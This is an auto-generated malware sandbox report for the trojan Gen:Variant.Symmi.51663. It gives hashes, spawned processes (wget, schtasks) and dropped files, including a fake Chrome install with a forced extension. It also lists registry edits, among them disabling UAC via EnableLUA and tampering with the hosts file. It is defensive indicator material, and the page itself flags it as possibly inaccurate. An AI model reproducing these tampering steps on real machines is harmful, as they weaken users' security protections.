Gen.Variant.Symmi.51663_0eaaf55d5b – Adaware

Trojan.Win32.VB.ctxv (Kaspersky), Gen:Variant.Symmi.51663 (B) (Emsisoft), Gen:Variant.Symmi.51663 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 0eaaf55d5b15936eb2b147a527e2ec86

SHA1: f4a15327fce50ea42cb7ab835f7b1b75fe379e5d

SHA256: e75ea5ecb6d166758b76d3e135a9f16ed4636b53013f656963c42db385750923

SSDeep: 12288:kNIQAPGsAqY9IMVYd38sJdpQHlGlY8KfT5rb/l9TXQIH:lPGSY91VwNJcFMqTBbdVX7H

Size: 614633 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: MicrosoftVisualCv71EXE, MicrosoftVisualCv70, UPolyXv05_v6

Company: Cinema PlusV01.07

Created at: 2009-09-25 21:57:32

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:484
arsiv.exe:1016
schtasks.exe:1112
schtasks.exe:2012
Charles.exe:556
wget.exe:1376

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:484 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Charles.exe (4487 bytes)

The process arsiv.exe:1016 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\chrome.exe (30992 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.pak (250 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\resources.pak (40311 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.dll (9 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.pak (3257 bytes)
%Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.dll (10 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Application Data\__tmp_rar_sfx_access_check_859187 (0 bytes)

The process Charles.exe:556 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\king.js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\ninddnnafpmmdlnbjcbcccfijdgkndkb\king.js (3 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (249 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fa.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\resources.pak (43124 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.dll (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.pak (4545 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\mr.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll (15116 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.pak (2321 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Preferences (73 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll (10 bytes)
%System%\drivers\etc\hosts (394 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\icudt.dll (76505 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hi.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome_100_percent.pak (7345 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\it.pak (1281 bytes)
%Documents and Settings%\%current user%\Desktop\Google Chrome.lnk (791 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sw.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.pak (1425 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (1333 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\th.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nb.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\he.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\chrome.dll (360605 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\nl.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\am.pak (2105 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bn.pak (3361 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\id.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sk.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\cs.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\et.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ru.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lv.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.pak (4185 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll (113356 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ca.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\te.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\ro.pak (1425 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fi.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\en-US.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.pak (1281 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\el.pak (3073 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\de.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\bg.pak (2321 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll (9 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll (10 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sl.pak (1281 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (32 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\da.dll (10 bytes)
%Program Files%\Google\Chrome\Application\chrome.exe (5889 bytes)
%Program Files%\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll (9 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions (0 bytes)
%Documents and Settings%\%current user%\Application Data\wget.exe (0 bytes)
%Documents and Settings%\%current user%\Application Data\ok.txt (0 bytes)
%System%\drivers\etc\hosts (0 bytes)
%Documents and Settings%\%current user%\Application Data\king.js (0 bytes)
%Documents and Settings%\%current user%\Application Data\key.txt (0 bytes)
%Documents and Settings%\%current user%\Application Data\hash.txt (0 bytes)
%Documents and Settings%\%current user%\Application Data\update.txt (0 bytes)

The process wget.exe:1376 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\arsiv.exe (6603689 bytes)

Registry activity

The process %original file name%.exe:484 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 B9 22 FF B3 85 89 7B 61 9C 56 1E E6 48 B7 AF"

The process arsiv.exe:1016 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E8 22 DC E8 14 91 17 F6 35 76 8B C5 8D 6E 81 CC"

The process schtasks.exe:1112 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0C B2 33 7C 34 CA BA 2A 2D 76 91 DF 01 86 DB 5B"

The process schtasks.exe:2012 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "51 D5 73 3B C9 28 7F 16 CB 2D 0B 6E 54 A6 37 DA"

The process Charles.exe:556 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"EnableLUA" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Kingsoft]
"userdata" = "-userdata_ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Kingsoft]
"id_key" = "ninddnnafpmmdlnbjcbcccfijdgkndkb#MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDLNwlprpYytU45kMXkfKR4ncGNk RWoqLNY7Nf4PTtXxwefnF173RZwrAkwx3nxP7ps8N9pOw87yOhkxB92VHUENYlIB6vVjQEsM7r7YLKKgzrYISEaFd3QzlqgxEXMAwWk2gcho8Wcho9k4gUDvf7f4kt7nOZcduZOmfM2BvTmwIDAQAB"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
